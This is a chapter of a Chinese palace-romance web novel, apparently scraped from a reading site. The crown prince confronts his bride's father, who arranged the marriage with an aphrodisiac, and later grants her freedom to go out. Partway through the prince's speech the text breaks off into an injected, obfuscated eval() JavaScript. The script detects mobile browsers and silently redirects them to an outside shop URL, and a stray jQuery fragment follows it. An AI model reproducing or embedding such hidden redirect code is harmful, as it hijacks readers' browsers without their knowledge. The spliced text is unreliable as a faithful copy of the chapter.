15. 休沐
    一行人入座之后没多久桌上就摆满了珍馐美食,看的司念一愣一愣的。这些珍馐美食就算是过年的时候她也见不得这么精细和丰盛,看来她爹为了巴结太子真是下了血本。

    “听闻太子殿下爱蟹肉,这蟹是下官特意从东湖差人带回来的,殿下尝尝可还符合心意?”司礼满脸堆笑将一只圆润的螃蟹往商祁的碗里夹,却在半空中被商祁截下夹到了司念的碗里。

    “东湖离皇都相距数百里,这蟹又是如此鲜活,想必是加派人手日夜兼程才送来的吧?只是阿念从前恐怕是没能吃过此等佳肴吧。”说到最后一句话的时候,司礼冷汗直流,立刻便想下跪行礼,但见商祁神色淡然,并无苛责之意,便提了提笑意道:

    “是下官从前考虑不周,还望太子妃娘娘海涵。”

    司念没想到商祁会为她说话,心中涌起一股暖意。

    “罢了,今日只是家宴,不必客气。”司念唇角微绷,带了丝若有似无的笑意。

    商祁坐在主位此刻神色慵懒,只是他平日里气质清贵冷傲惯了,嘴角的笑意似乎并未达心底,沉声道:“今日本宫来司府就只是陪太子妃归宁的,说到底你是本宫的岳丈,本宫怎会罚你。”

    司礼冷汗涔涔,一边用袖子擦着额角的汗,一边连声答应。

    他全然看不出太子殿下的心思是什么。

    司念在一旁目睹着一切,在心里也不禁对商祁有了别的看法。

    他明明没有动怒,然而举手投足之间却能让人感觉不怒自威。仅仅是几句话,便把纵横官场数十年的父亲逼到了这种地步。与此同时司礼从他的眼神中感觉到了强烈的压迫感。

    商祁的婚属实是逼迫而来,而司礼这厮竟在不明他心意之时,便如此肯定他会喜欢司念,简直是吃了雄心豹子胆。

    想到司礼竟为了一己之私,如此设计逼迫司念,他眼中便无法做到没有丝毫情绪。

    他本可以与她缓缓接近,或许到了时机他自会求娶,而不是被迫。

    这段饭注定是心怀各异的一顿饭。每个人的心里都抱着不一样想法,一顿饭下来饭几乎都没怎么动。

    “司大人,太子妃甚是想家,便让司夫人她们一同叙话吧。”商祁慢条斯理地擦了擦嘴,道。

    司念皱眉,狐疑地看着他。

    她什么时候说过想家了?再说了,她也只不过是三天没回过家啊……

    司念没懂商祁的意思,然而司礼官海浮沉这么多年,却是立刻领会到了他的意思。

    “是啊,夫人许久不见太子妃,这几日还常念叨太子妃呢。夫人你便带太子妃去花园走走吧。”

    虞氏接到司礼的眼神,“太子妃,随我去花园走走吧。”

    司念向商祁投去求助的眼神,在得到商祁点头示意下,虽有不解,但她还是跟着虞氏走了。

    *

    书房之内。

    浓郁的檀木香充斥着整个空间,明明是让人安心的香味,此刻司礼却心跳如雷。只因商祁上位者的威势极度的有压迫感,竟然让他掩盖在袖子下面的手都有些微微颤抖。

    商祁背对着他,并不作声。直到从窗户里看向外面再也看不到司念的身影,他挂在唇角的笑容才尽数敛去。

    “司大人。”

    “下官在。”司礼连忙上前作揖,仿佛只要他这般勤利商祁就会满意一般。

    “你可知罪?”商祁微微侧身,半张脸隐在窗奁的阴影之中让人不辨喜怒,但只是他这一句话就让司礼软了膝盖,整个人也忙不迭的跪了下来。

    “下官惶恐,还请太子殿下明示!”

    “惶恐?本宫看你分明是胆大心狠的主。”商祁冷笑。

    “人往高处走水往低处流,你想要攀附权贵本宫不怪你。可你偏偏要把这算盘打在了皇家的头上,算在了本宫的头上!”他转过身来,眼中锐利之气让司礼心中擂鼓声更甚。

    “你以为皇家是你也好算计进去的?若不是本宫主动说是本宫心悦于司念,你以为仅凭一包春药你们全家便都能鸡犬升天了不成?”他眼睛一眯,透露出了浓浓的杀意。

    司礼将头埋的更深了,他早已想过,他们如此算计商祁,必会被商祁知晓,但他知晓商祁心悦司念则完全是因为寒竹,否则仅凭司念去勾引他,他也不敢肯定。

    他早已做好迎接商祁雷霆之怒的打算,所以神色还算平静,“下官愚钝,当时事急从权,才干出了这样的傻事,不过太子殿下真的没有暗示过您身边寒竹吗?微臣还以为您知道的。”

    寒竹从小便跟在商祁身边,对商祁知之甚深,他的话司礼当然会信。

    司礼自然也不敢得罪寒竹又道:“不过,寒竹大人只是说了可以促成婚事,计划倒是我们自己想的,还请太子殿下饶恕!”

    商祁并没有说话,他不是纵欲之人,情爱一事本就无关紧要,只是每次提到司念,他便出乎意料的在意,难道是因为这个加之上次大皇子的流言是他散布出去的,寒竹便以为他喜欢司念,私自为他劝说司礼。

    那这一切都有迹可循了,如此说来他与她的婚事有一部分也是原于他,他分明没有设计司念的那份心,却无意间做了这件事的帮凶,转念他便想到司念成婚当日泪水涟涟,她本来就对他娶她一事有所抗拒,若她知晓此事怕不是会嫉恨上他。

    约莫过了片刻,商祁才伸出了手搀扶他起来。他的动作十分轻柔,宛如真的是在用心的搀扶一位老人。

    “罢了,关于此事,你已经挨过罚了,本宫不会苛责你,但是若下次再敢用这种下三滥的招数,我恐怕也护不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695306|144410||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    住你。”

    商祁眼眸深邃,抿唇不语,他虽不能真不护他,却可以威胁司礼不再做出这种超过他掌控的事来,点到为止。

    二人从书房出来的时候司念刚好和虞氏从花园回来。商祁上前牵过她的手,而司礼却是一脸恍恍惚惚,直到司念叫了两声父亲这才回过神来。

    “父亲?您不是有话要对孩儿说吗?您是……怎么了?”司念有些不解,明明在归宁前父亲差人传书说有要事相谈,可是现在怎么一副失了魂的样子?

    一旁的桑落已经将她此次归宁父亲会做的事情,猜了个七七八八。父亲肯定是见她成了太子妃便急不可耐的让她多替司家考虑,让她早日为司家在朝中打出一片天地。她的婚事就是为了给他们铺路的,司念虽不愿却也接受了,只是为何他今日却并未提及呢?

    回过神来的司礼看了一眼司念,又看了一眼商祁,脑海中全是二人要出书房前商祁对他说的最后一句话。

    “今日之事莫要让第三人知晓,如若被本宫发现你用亲情利用司念,下场不必本宫多言。”

    司礼扯了扯嘴角想让自己的笑容看起来自然一点,“不过是些为人父母的贴心话,你母亲已经和你谈过了,父亲就不必再多言了。天也不早了,太子妃还是同太子早些回去吧。”

    *

    一连几天,商祁都因为婚事而休沐,纵使休沐,商祁也有处理不完的公务,商祁在书房批阅一部分奏章时,看到少女百无聊赖的在一旁打着瞌睡,白玉般的藕臂支撑着头,长长的睫羽遮蔽住眼睛,渐渐眯缝成一条线,乌黑如锦绸般青丝自然的垂落。

    看到少女守着他,昏昏欲睡的样子,他的眼神不由得停驻在她身上,他每次和她说话,她总是恭恭敬敬不敢多言的样子,做他的妻真的很无聊吗?

    他薄唇微抿,俊逸的脸在她没有看到的时候哑然失笑,她实在没必要苛求自己,阳光从窗子照进屋内,给他的脸渡上一层温柔的光,他柔和道:“念念,东宫是你的家,你想出去我并不会拦你,大可不必一直守着我。”

    司念一个激灵,最近她才习惯商祁这般叫自己,商祁说需要他们表面上装恩爱,就得习惯他这般叫她。

    他这么说是允诺她可以随便玩吗?她一直认为嫁人之后,必然以夫家为重,需要打理好后宅,谈何容易,况且这里是东宫啊。

    自从上次去了皇后的凤栖宫中,皇后将东宫的一应事务全交给了她,结果太子不仅要批阅奏折,还要整理田产,吃穿用度皆安排的有条有理,司念心中觉得对他不住,便一直守在他身边,希望有些事情能帮上忙,结果看到账本就犯困。

    如今他允诺司念可以随意出门游玩,不必等着他,司念如蒙大赦,心情大好,一早便与尚书府嫡女薛晚约好晚上相游闹市。